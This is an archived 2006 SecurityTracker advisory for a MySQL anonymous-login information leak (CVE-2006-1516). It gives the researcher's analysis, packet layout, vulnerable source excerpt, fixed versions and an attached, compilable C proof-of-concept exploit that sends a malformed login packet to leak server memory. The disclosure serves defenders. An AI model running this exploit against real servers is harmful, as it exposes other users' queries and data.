SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


Try our Premium Alert Service
 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service





Category:   Application (Database)  >   MySQL Vendors:   MySQL.com
MySQL Anonymous Login Processing May Disclose Some Memory Contents to Remote Users
SecurityTracker Alert ID:  1016017
SecurityTracker URL:  http://securitytracker.com/id/1016017
CVE Reference:   CVE-2006-1516   (Links to External Site)
Updated:  May 12 2006
Original Entry Date:  May 2 2006
Impact:   Disclosure of system information, Disclosure of user information
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 4.1.18 and prior 4.x versions, 5.0.20 and prior 5.0 versions
Description:   A vulnerability was reported in MySQL in the processing of anonymous logins. A remote user may be able to obtain information from the target service.

A remote user can submit a specially crafted login packet to cause the initial db name to be filled with uninitialized memory content, resulting in an error message that may disclose some of the memory contents.

The vendor was notified on April 25, 2006.

Stefano Di Paola reported this vulnerability.

Impact:   A remote user can obtain some memory contents from the target service.
Solution:   The vendor has issued fixed versions (4.0.27, 4.1.19, 5.0.21, 5.1.10), available at:

http://dev.mysql.com/downloads/

Vendor URL:  www.mysql.com/products/mysql/ (Links to External Site)
Cause:   Access control error, Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Jun 9 2006 (Red Hat Issues Fix) MySQL Anonymous Login Processing May Disclose Some Memory Contents to Remote Users
Red Hat has released a fix for Red Hat Enterprise Linux 4.
Apr 23 2008 (Sun Issues Advisory) MySQL Anonymous Login Processing May Disclose Some Memory Contents to Remote Users
Sun Solaris 10 is affected.



 Source Message Contents

Subject:  MySQL Anonymous Login Handshake - Information Leakage.


--=-CAFKjGLMUFoYmJQtCHl1
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

~.oOOo. Anonymous Login Handshake .oOOo.~
=========================================

MySQL Server (<= 4.1.18, 5.0.20 )  has an information 
leakage in the way mysql parses login packets on anonymous 
users (blank password).

Author: Stefano Di Paola
Vulnerable: Mysql <=   4.1.18, 5.0.20
Type of Vulnerability: Local/Remote - input validation - Information
Leakage
Tested On :  Debian 3.1 - IA32.
Vendor Status: Notified on April, 25th 2006, Confirmed on April, 26th
2006, New versions released on 2nd May 2006.
Fixed: Update to 4.0.27, 4.1.19, 5.0.21, 5.1.10 versions.

A Proof of Concept is Attached for this issue.
Tested on: Debian 3.1 - IA32.


A little Note:
To take advantage of these flaws an attacker should have direct access
to MySQL server communication layer (port 3306 or unix socket).
But if used in conjuction with some web application flaws 
(i.e. php code injection) an attacker could use socket programming
(i.e. php sockets) to gain access to that layer.

-- Description

By crafting a specifically malformed login packet, initial db name is
filled with uninitialized memory content.


Let's suppose MySql Server has anonymous access.

Infact, if we want to use 'wisecdb' database as user 'wisec' and
password 's'  a normal client would send a packet like this:
---------------------------------------------------------------
43  00  00  01  0d  a6  03  00  00  00  00  01  08  00  00  00
00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
00  00  00  00  77  69  73  65  63  00  14  aa  69  23  07  2a
ff  99  61  a3  c4  5f  04  66  3b  32  ef  a1  f2  b6  59  77
69  73  65  63  64  62  00
C   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .
.   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .
.   .   .   .   w   i   s   e   c   .   .   .   i   #   .   *
.   .   a   .   .   _   .   f   ;   2   .   .   .   .   Y   w
i   s   e   c   d   b   .
---------------------------------------------------------------

but if we look at the code (MySQL <= 5.0.20)
on sql_parse.cc line ~  993
        function  check_connection(THD *thd):
--      
  char *user= end;
  char *passwd= strend(user)+1;
  char *db= passwd;
  char db_buff[NAME_LEN+1];                     // buffer to store db in
utf8
  char user_buff[USERNAME_LENGTH+1];            // buffer to store user
in utf8
  uint dummy_errors;

  uint passwd_len= thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
    *passwd++ : strlen(passwd);
  db= thd->client_capabilities & CLIENT_CONNECT_WITH_DB ?
    db + passwd_len + 1 : 0;
[1]
  /* Since 4.1 all database names are stored in utf8 */
  if (db)
  {
    db_buff[copy_and_convert(db_buff, sizeof(db_buff)-1,
                             system_charset_info,
                             db, strlen(db),
                             thd->charset(), &dummy_errors)]= 0;
    db= db_buff;
  }
        
--

It can be noticed a check for packet construction is missing here[1].

Just replace the null byte at the end of username 
'wisec\0' with any other byte like this 'wisec0'.
What happens?

user is assigned to some part of the packet content, and db is assigned
with some (internal) memory beyond packet_length.

so if we send a specifical packet we'll get an error message like this: 

Access denied for user ''@localhost to database 'lqt'

By changing packet lenght (db length) and with a little bit of luck a
malicious user could get sensitive informations such as parts of queries
and or response executed by some previously logged user.

-

The fix:

bugs are fixed in 4.0.27, 4.1.19, 5.0.21, 5.1.10.
You can download them on http://dev.mysql.com/downloads/


=================================================

==Anonymous packet information leakage poc : 

my_anon_db_leak.c

  Compile with:
  gcc my_anon_db_leak.c -o my_anon_db_leak
  
  usage:
  my_anon_db_leak  [-s path/to/socket] [-h hostname_or_ip]
[-p port_num] [-n db_len]


Example 
$ my_anon_db_leak -s /tmp/mysql.sock -n 20


Regards,

Stefano

-- 

......---oOOo--------oOOo---......
Stefano Di Paola
Software Engineer
Email: stefano.dipaola_at_wisec.it
Email: stefano.dipaola1_at_tin.it
Web: www.wisec.it
..................................

--=-CAFKjGLMUFoYmJQtCHl1
Content-Disposition: attachment; filename=my_anon_db_leak.c
Content-Type: text/x-csrc; name=my_anon_db_leak.c; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit

/* ****************************************************************
  
  April 21.st 2006
  
  my_anon_db_leak.c

  MySql Anonimous Login Memory Leak 
  
  MySql <= 5.0.20
  
  MySql <= 4.1.x
  
  copyright 2006 Stefano Di Paola (stefano.dipaola_at_wisec.it)
  
  GPL 2.0
  ****************************************************************
  
  Disclaimer:

  In no event shall the author be liable for any damages 
  whatsoever arising out of or in connection with the use 
  or spread of this information. 
  Any use of this information is at the user's own risk.
  
  ****************************************************************
  Compile with:
  gcc my_anon_db_leak.c -o my_anon_db_leak
  
  usage:
  my_anon_db_leak [-s path/to/socket] [-h hostname_or_ip] [-p port_num] [-n db_len]
  
  
*/


#include <sys/types.h>
/* we need MSG_WAITALL - that's why this ugly #ifdef, why doesn't glibc2
have MSG_WAITALL in its <socketbits.h> ??
*/

#ifdef __linux__
#include <linux/socket.h>
#else
#include <sys/socket.h>
#endif
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/file.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>		/* sockaddr_in{} and other Internet defns */
#include <netdb.h>		/* needed by gethostbyname */
#include <arpa/inet.h>		/* needed by inet_ntoa */


char anon_pckt[] = {
  0x3d, 0x00, 0x00, 0x01, 0x0d, 0xa6, 0x03, 0x00, 0x00, 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x14, 0x99, 0xdb, 0x54, 0xb6, 0x6a,
  0xd7, 0xc2, 0x86, 0x4c, 0x50, 0xa8, 0x14, 0xfe, 0x2e, 0x98, 0x27, 0x72, 0x0d, 0xad, 0x45, 0x73,
  0x00
};				// len=16*4+1=65;


int anon_pckt_len = 65;

#define USOCK "/tmp/mysql2.sock"

int
tcp_conn (char *hostname, int port)
{

  int sockfd;
  int n;
  struct sockaddr_in servaddr;

  struct hostent *hp;



  if ((hp = gethostbyname (hostname)) == 0)
    {
      perror ("gethostbyname");
      exit (0);
    }

  if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
    {
      perror ("socket");
      exit (1);
    }

  bzero ((char *) &servaddr, sizeof (servaddr));
  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons (port);

  memcpy (&servaddr.sin_addr, hp->h_addr, hp->h_length);
  if (servaddr.sin_addr.s_addr <= 0)
    {
      perror ("bad address after gethostbyname");
      exit (1);
    }
  if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0)
    {
      perror ("connect");
      exit (1);
    }
  return sockfd;
}

int
unix_conn (char *path)
{
  int fd, len;
  struct sockaddr_un sa;

  fd = socket (PF_UNIX, SOCK_STREAM, 0);

  if (fd < 0)
    {
      perror ("cli: socket(PF_UNIX,SOCK_STREAM)");
      exit (1);
    }

  sa.sun_family = AF_UNIX;
  strcpy (sa.sun_path, path);
  len = sizeof (sa);
  if (connect (fd, (struct sockaddr *) &sa, len) < 0)
    {
      perror ("cli: connect()");
      exit (1);
    }
  return fd;
}

int
main (int argc, char *argv[])
{
  int fd;
  int i, ret;
  char packet[65535];
  char *path;
  char *host;
  int port = 3306;
  char buf[65535];
  int db_len = 0;
  int pckt_len = anon_pckt_len;
  int unix_sock = 1;
  char c;

  path = strdup (USOCK);
  host = strdup ("127.0.0.1");

  opterr = 0;

  while ((c = getopt (argc, argv, "s:h:p:n:")) != -1)
    switch (c)
      {
      case 's':
	path = strdup (optarg);
	unix_sock = 1;
	break;
      case 'h':
	host = strdup (optarg);
	unix_sock = 0;
	break;
      case 'p':
	port = atoi (optarg);
	unix_sock = 0;
	break;
      case 'n':
	db_len = atoi (optarg);
	break;

      default:
	break;
      }


  bzero (packet, 65535);

  pckt_len = anon_pckt_len + db_len;
  printf ("%d\n", pckt_len);

  for (i = 0; i < pckt_len; i++)
    packet[i] = anon_pckt[i];

  if (db_len)
    for (i = anon_pckt_len - 2; i < pckt_len; i++)
      packet[i] = 'A';

  packet[pckt_len - 1] = '\0';

  packet[0] = (char) (anon_pckt[0] + db_len) & 0xff;
  packet[1] = (char) ((anon_pckt[0] + db_len) >> 8) & 0xff;
  for (i = 0; i < pckt_len; i++)
    printf (" %.2x%c", (unsigned char) packet[i],
	    ((i + 1) % 16 ? ' ' : '\n'));
  printf ("\n");


  if (unix_sock)
    fd = unix_conn (path);
  else
    fd = tcp_conn (host, port);

  sleep (1);
  ret = recv (fd, buf, 65535, 0);
  if (send (fd, packet, pckt_len, 0) != pckt_len)
    {
      perror ("cli: send(anon_pckt)");
      exit (1);
    }

  ret = recv (fd, buf, 65535, 0);
  for (i = 0; i < ret; i++)
    printf ("%c", (isalpha (buf[i]) ? buf[i] : '.'));
  printf ("\n");
  return 0;
}

--=-CAFKjGLMUFoYmJQtCHl1--

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2018, SecurityGlobal.net LLC